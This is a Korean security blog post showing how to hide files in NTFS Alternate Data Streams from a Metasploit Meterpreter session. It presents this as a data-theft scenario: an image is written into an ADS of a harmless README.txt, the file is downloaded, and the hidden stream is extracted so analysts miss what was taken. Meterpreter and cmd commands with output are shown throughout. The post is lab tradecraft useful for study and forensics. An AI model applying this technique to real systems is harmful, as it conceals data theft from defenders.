Data Leak Scenario on Meterpreter using ADS

Meterpreter를 가지고 놀던 중 재미있는 사실을 하나 발견했습니다. 뭐 크게 놀라운건 아니지만 meterpreter 에서도 아래 명령이 먹힐줄은 몰랐네요.

edit 123.txt
cat 123.txt
Hello?
edit 123.txt:asd
cat 123.txt:asd
ADS Data

edit으로 ADS에 글을 쓸 수 있다니🤩 오늘은 ADS를 가지고 Meterpreter에서 데이터를 숨기는 방법에 대해 이야기할까 합니다.

ADS?

ADS는 Alternate Data Stream 이며 다른 데이터 스트림을 생성할 수 있는 것, 대체 데이터 스트림이라고 보시면 됩니다. NTFS 파일시스템에서 맥과의 호환성을 위해 사용되었습니다. 여기서 말하는 호환성이라고 하면..

맥에선 data 영역과 resource 영역을 분리되어 있고 동일한 파일을 처리하기 위해 Windows에선 ADS를 사용하게 되었지요.

자세한 내용과 기본적인 사용 방법은 아래 링크 참고해주세요.

  • https://www.hahwul.com/2015/03/ntfs-file-system-adsalternate-data.html

ADS in Meterpreter

맨 위에서 이야기드렸듯이 meterpreter 에서도 ads 영역에 데이터 작성이 가능합니다.

meterpreter > ls
Listing: C:\Users\Test-Virtualbox\Desktop\HWUL_TEST
======================================================

Mode              Size  Type  Last modified              Name
----              ----  ----  -------------              ----
40777/rwxrwxrwx   0     dir   2016-12-29 18:03:53 +0900  data
100777/rwxrwxrwx  6247  fil   2016-12-29 17:20:22 +0900  launch-paranoid.bat

새로 하나 파일을 만들어봅니다. 내용은 This is nomal text!

meterpreter > edit 1.txt

작성 후 내용을 보면..

meterpreter > cat 1.txt
This is nomal text!

데이터가 잘 저장됬군요. 그럼 edit명령을 통해 1.txt의 ads영역에 글을 써 봅시다.

meterpreter > edit 1.txt:ads
meterpreter > cat 1.txt:ads
This is secret data :)

잘되네요.

Data Leak Scenario

ADS를 활용한 시나리오가 뭐가 있을까 생각하다가 가장 먼저 생각난게 중요한 파일에 대한 탈취 시나리오네요. Metasploit으로 파일을 받아 올 경우 통신이 자체적으로 암화화 되기 떄문에 분석이 까다롭다고 합니다. 그래도 시간과 돈이 있다면 충분히 찾아낼 수 있고 어떤 파일을 외부로 유출시켰는지 알 수 있게되죠. ADS를 이용하면 여기서 약간 혼선을 줄 수 있습니다.

의미없는 파일을 가져가는 척 하면서 의미없는 파일 ADS 속에 중요한 파일을 담고 의미없는 파일을 가져가서 분석가의 눈을 피해볼 수 있을 것 같네요. 모든 파일에 대해서 상세하게 전수조사를 하기는 어려우니 끼워팔기 식으로 몰래 가져가는거죠. 어찌 보면 스테가노그라피를 활용하는 것과 많이 유사하겠네요.

의미없는 파일: READMME.txt

오늘 사용될 raven-wallpaper.jpg 입니다.

먼저 README.txt 파일을 열어보면 아래와 같습니다.

meterpreter > cat README.txt
Listing: C:\Users\Test-Virtualbox\Desktop\HWUL_TEST
======================================================

Mode              Size    Type  Last modified              Name
----              ----    ----  -------------              ----
100666/rw-rw-rw-  546     fil   2017-08-11 14:32:27 +0900  README.txt
40777/rwxrwxrwx   0       dir   2016-12-29 18:03:53 +0900  data
100777/rwxrwxrwx  6247    fil   2016-12-29 17:20:22 +0900  launch-paranoid.bat
100666/rw-rw-rw-  329     fil   2017-08-11 14:29:19 +0900  log.txt
100666/rw-rw-rw-  295616  fil   2017-05-25 10:47:34 +0900  raven-wallpaper.jpg

별 내용 없습니다. 그냥 ls 내용 넣어놨어요. cat을 이용해서 COM4라는 이름의 ADS에 데이터를 넣어볼까요?

meterpreter > cat raven-wallpaper.jpg > README.txt:COM4

[....]
p �,j3��j� � �� PO �p@=��B
Б�l�� �� �#� ��� T�l\b��"$�?*عx�d ��|�Y
[....]

안됩니다 😵‍💫 재미있는게 edit으로는 잘 되지만. Meterpreter의 cat은 제대로 저장이 안되네요. 정확히 말씀드리면 meterpreter의 cat 명령이 아닌 meterpreter 에서 pipe가 먹질 않습니다. 그냥 windows cmd로 넘어갔다가 다시 돌아와야겠네요.

meterpreter > shell
Process 1416 created.
Channel 23 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

경로를 찾아간 후..

C:\Users\Test-Virtualbox\Desktop\HWUL_TEST>dir
dir
 C �����̺��� �������� �̸��� �����ϴ�.
 ���� �Ϸ� ��ȣ: CCC6-9A12

 C:\Users\Test-Virtualbox\Desktop\HWUL_TEST �����͸�

2017-08-11  ���� 02:30    <DIR>          .
2017-08-11  ���� 02:30    <DIR>          ..
2016-12-29  ���� 06:03    <DIR>          data
2016-12-29  ���� 05:20             6,247 launch-paranoid.bat
2017-08-11  ���� 02:29               329 log.txt
2017-05-25  ���� 10:47           295,616 raven-wallpaper.jpg
2017-08-11  ���� 02:30               546 README.txt

more 명령을 통해 raw data를 읽고 그 내용을 README.txt의 COM4 라는 ads 영역에 작성합니다.

more raven-wallpaper.jpg > README.txt:COM4
more raven-wallpaper.jpg > README.txt:COM4
exit
meterpreter > 

README.txt는 ads에 이미지가 저장됬기 때문에 파일 내용이이 바뀌진 않습니다.

download를 통해 local pc로 가져옵니다.

meterpreter > download README.txt
[*] Downloading: README.txt -> README.txt
[*] Downloaded 546.00 B of 546.00 B (100.0%): README.txt -> README.txt
[*] download   : README.txt -> README.txt
meterpreter > background
[*] Backgrounding session 1...

잘 왔네요.

HAHWUL post(pxeexploit) > ls | grep README.txt
[*] exec: ls | grep README.txt

README.txt

파일 내 ads 데이터를 읽어서 output.jpg로 write 해주면..

more < README.txt:COM4 > output.jpg

잘 나옵니다.

Conclusion

사실 Metasploit. Meterpreter에 대한 ADS의 내용이라기 보단 ADS를 어떻게 Metasploit에서 사용할 수 있을까란 생각에서 시작하였습니다. 관련해서 찾아보니 데이터도 많이 없고 그냥 예전에 공부했던거 기준으로 구성해봤는데요, 아마 IRB Railgun이나 Meterpreter 모듈로 잘 구성해본다면 쓸만한 스크립트가 나올 수 있겠네요.

시나리오 관련해서 좋은 의견이 있으시면 댓글 남겨주시고, 혹시라도 관련해서 코드 작성을 하게되면 이 글 댓글로 관련 자료 남기도록 하겠습니다.

Reference

  • https://www.hahwul.com/2015/03/ntfs-file-system-adsalternate-data.html